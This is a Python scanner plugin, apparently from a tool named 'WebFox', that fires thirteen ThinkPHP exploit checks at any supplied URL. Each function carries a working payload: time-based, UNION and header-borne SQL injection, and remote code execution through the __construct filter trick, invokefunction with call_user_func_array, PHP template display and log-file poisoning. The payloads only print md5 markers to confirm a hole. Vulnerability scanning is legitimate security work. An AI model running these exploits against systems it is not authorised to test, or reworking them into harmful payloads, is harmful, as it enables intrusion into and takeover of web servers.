#!/usr/bin python
from plugins.config.config_package import *

keywords = [
    'CheckVul Success','CheckVul Failed','Server Connection Timeout'
]

class ThinkPHPv(object):
    def thinkphp_checkcode_time_sqli(url):
        headers = {
        "User-Agent" : "WebFox",
        "DNT": "1",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
        "Content-Type": "multipart/form-data; boundary=--------641902708",
        "Accept-Encoding": "gzip, deflate, sdch",
        "Accept-Language": "zh-CN,zh;q=0.8",
        }
        payload = "----------641902708\r\nContent-Disposition: form-data; name=\"couponid\"\r\n\r\n1')UniOn SelEct slEEp(8)#\r\n\r\n----------641902708--"
        try:
            start_time = time.time()
            vurl = urllib.parse.urljoin(url, 'index.php?s=/home/user/checkcode/')
            req = requests.post(vurl, data=payload, headers=headers, timeout=2, verify=False)
            if time.time() - start_time >= 8:
                core.checksuc(target=url,name='thinkphp_checkcode_time_sqli',payload=None)
                
            else:
                pass
        except Exception as e:
            pass
    
    def thinkphp_construct_code_exec(url):
        headers = {
        "User-Agent" : "WebFox",
        }
        payload = {
            '_method':'__construct',
            'filter[]':'var_dump',
            'method':'get',
            'server[REQUEST_METHOD]':'56540676a129760a3',
        }
        try:
            vurl = urllib.parse.urljoin(url, 'index.php?s=captcha')
            req = requests.post(vurl, data=payload, headers=headers, timeout=2, verify=False)
            if r"56540676a129760a3" in req.text:
                core.checksuc(target=url,name='thinkphp_construct_code_exec',payload=None)
                
            else:
                pass
        except Exception as e:
            pass
    
    def thinkphp_construct_debug_rce(url):
        headers = {
        "User-Agent" : "WebFox",
        }
        payload = {
            '_method':'__construct',
            'filter[]':'var_dump',
            'server[REQUEST_METHOD]':'56540676a129760a3',
        }
        try:
            vurl = urllib.parse.urljoin(url, 'index.php')
            req = requests.post(vurl, data=payload, headers=headers, timeout=2, verify=False)
            if r"56540676a129760a3" in req.text:
                core.checksuc(target=url,name='thinkphp_construct_debug_rce',payload=None)
                
            else:
                pass
        except Exception as e:
            pass
    def thinkphp_driver_display_rce(url):
        headers = {
        "User-Agent" : 'WebFox',
        }
        try:
            vurl = urllib.parse.urljoin(url, 'index.php?s=index/\\think\\view\driver\Php/display&content=%3C?php%20var_dump(md5(2333));?%3E')
            req = requests.get(vurl, headers=headers, timeout=2, verify=False)
            if r"56540676a129760a" in req.text:
               core.checksuc(target=url,name='thinkphp_driver_display_rce',payload=None)
                
            else:
                pass
        except Exception as e:
            pass
    def thinkphp_index_construct_rce(url):
        headers = {
            "User-Agent": 'WebFox',
            "Content-Type": "application/x-www-form-urlencoded",
        }
        payload = 's=4e5e5d7364f443e28fbf0d3ae744a59a&_method=__construct&method&filter[]=var_dump'
        try:
            vurl = urllib.parse.urljoin(url, 'index.php?s=index/index/index')
            req = requests.post(vurl, data=payload, headers=headers, timeout=2, verify=False)
            if r"4e5e5d7364f443e28fbf0d3ae744a59a" in req.text:
                core.checksuc(target=url,name='thinkphp_index_construct_rce',payload=None)
                
            else:
                pass
        except Exception as e:
            pass
    
    def thinkphp_index_showid_rce(url):
        headers = {
        "User-Agent" : 'WebFox',
        }
        try:
            vurl = urllib.parse.urljoin(url, 'index.php?s=my-show-id-\\x5C..\\x5CTpl\\x5C8edy\\x5CHome\\x5Cmy_1{~var_dump(md5(2333))}]')
            req = requests.get(vurl, headers=headers, timeout=2, verify=False)
            timenow = datetime.datetime.now().strftime("%Y_%m_%d")[2:]
            vurl2 = urllib.parse.urljoin(url, 'index.php?s=my-show-id-\\x5C..\\x5CRuntime\\x5CLogs\\x5C{0}.log'.format(timenow))
            req2 = requests.get(vurl2, headers=headers, timeout=2, verify=False)
            if r"56540676a129760a3" in req2.text:
               core.checksuc(target=url,name='thinkphp_index_showid_rcei',payload=None)
                
            else:
                pass
        except Exception as e:
            pass
    
    def thinkphp_invoke_func_code_exec(url):
        header = {'user-agent': 'WebFox/0.0.1'}
        controllers = list()
        req = requests.get(url, headers=header, timeout=2, verify=False)
        pattern = '<a[\\s+]href="/[A-Za-z]+'
        matches = re.findall(pattern, req.text)
        for match in matches:
            controllers.append(match.split('/')[1])
        controllers.append('index')
        controllers = list(set(controllers))
        for controller in controllers:
            try:
                payload = 'index.php?s={0}/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=2333'.format(controller)
                vurl = urllib.parse.urljoin(url, payload)
                req = requests.get(vurl, headers=header, timeout=2, verify=False)
                if r"56540676a129760a3" in req.text:
                    core.checksuc(target=url,name='thinkphp_invoke_func_code_exe',payload=None)
                    
                else:
                    pass
            except Exception as e:
                pass
    
    def thinkphp_lite_code_exec(url):
        headers = {
        "User-Agent" : 'WebFox',
        }
        try:
            payload = 'index.php/module/action/param1/$%7B@print%28md5%282333%29%29%7D'
            vurl = urllib.parse.urljoin(url, payload)
            req = requests.get(vurl, headers=headers, timeout=2, verify=False)
            if r"56540676a129760a3" in req.text:
                core.checksuc(target=url,name='thinkphp_lite_code_exe',payload=None)
                
            else:
                pass
        except Exception as e:
            pass
    def thinkphp_method_filter_code_exec(url):
        headers = {
        "User-Agent" : 'WebFox',
        }
        payload = {
            'c':'var_dump',
            'f':'4e5e5d7364f443e28fbf0d3ae744a59a',
            '_method':'filter',
        }
        try:
            vurl = urllib.parse.urljoin(url, 'index.php')
            req = requests.post(vurl, data=payload, headers=headers, timeout=2, verify=False)
            if r"4e5e5d7364f443e28fbf0d3ae744a59a" in req.text:
                core.checksuc(target=url,name='thinkphp_method_filter_code_exec',payload=None)
                
            else:
                pass
        except Exception as e:
            pass
    def thinkphp_multi_sql_leak(url):
        headers = {
        "User-Agent" : 'WebFox',
        }
        payloads = [
            r'index.php?s=/home/shopcart/getPricetotal/tag/1%27',
            r'index.php?s=/home/shopcart/getpriceNum/id/1%27',
            r'index.php?s=/home/user/cut/id/1%27',
            r'index.php?s=/home/service/index/id/1%27',
            r'index.php?s=/home/pay/chongzhi/orderid/1%27',
            r'index.php?s=/home/order/complete/id/1%27',
            r'index.php?s=/home/order/detail/id/1%27',
            r'index.php?s=/home/order/cancel/id/1%27',
        ]
        try:
            for payload in payloads:
                vurl = urllib.parse.urljoin(url, payload)
                req = requests.get(vurl, headers=headers, timeout=2, verify=False)
                if r"SQL syntax" in req.text:
                    core.checksuc(target=url,name='thinkphp_multi_sql_leak',payload=None)
                    
            else:
                pass
        except Exception as e:
            pass
    def thinkphp_pay_orderid_sqli(url):
        headers = {
        "User-Agent" : 'WebFox',
        }
        try:
            vurl = urllib.parse.urljoin(url, 'index.php?s=/home/pay/index/orderid/1%27)UnIoN/**/All/**/SeLeCT/**/Md5(2333)--+')
            req = requests.get(vurl, headers=headers, timeout=2, verify=False)
            if r"56540676a129760a" in req.text:
                core.checksuc(target=url,name='thinkphp_pay_orderid_sqli',payload=None)
                
            else:
                pass
        except Exception as e:
            pass
    def thinkphp_request_input_rce(url):
        headers = {
        "User-Agent" : 'WebFox',
        }
        try:
            vurl = urllib.parse.urljoin(url, 'index.php?s=index/\\think\Request/input&filter=var_dump&data=f7e0b956540676a129760a3eae309294')
            req = requests.get(vurl, headers=headers, timeout=2, verify=False)
            if r"56540676a129760a" in req.text:
                core.checksuc(target=url,name='thinkphp_request_input_rc',payload=None)
               
            else:
                pass
        except Exception as e:
            pass
    def thinkphp_view_recent_xff_sqli(url):
        headers = {
        "User-Agent" : 'WebFox',
        "X-Forwarded-For" : "1')And/**/ExtractValue(1,ConCat(0x5c,(sElEct/**/Md5(2333))))#"
        }
        try:
            vurl = urllib.parse.urljoin(url, 'index.php?s=/home/article/view_recent/name/1')
            req = requests.get(vurl, headers=headers, timeout=2, verify=False)
            if r"56540676a129760a" in req.text:
                core.checksuc(target=url,name='thinkphp_view_recent_xff_sqli',payload=None)
               
            else:
                pass
        except Exception as e:
            pass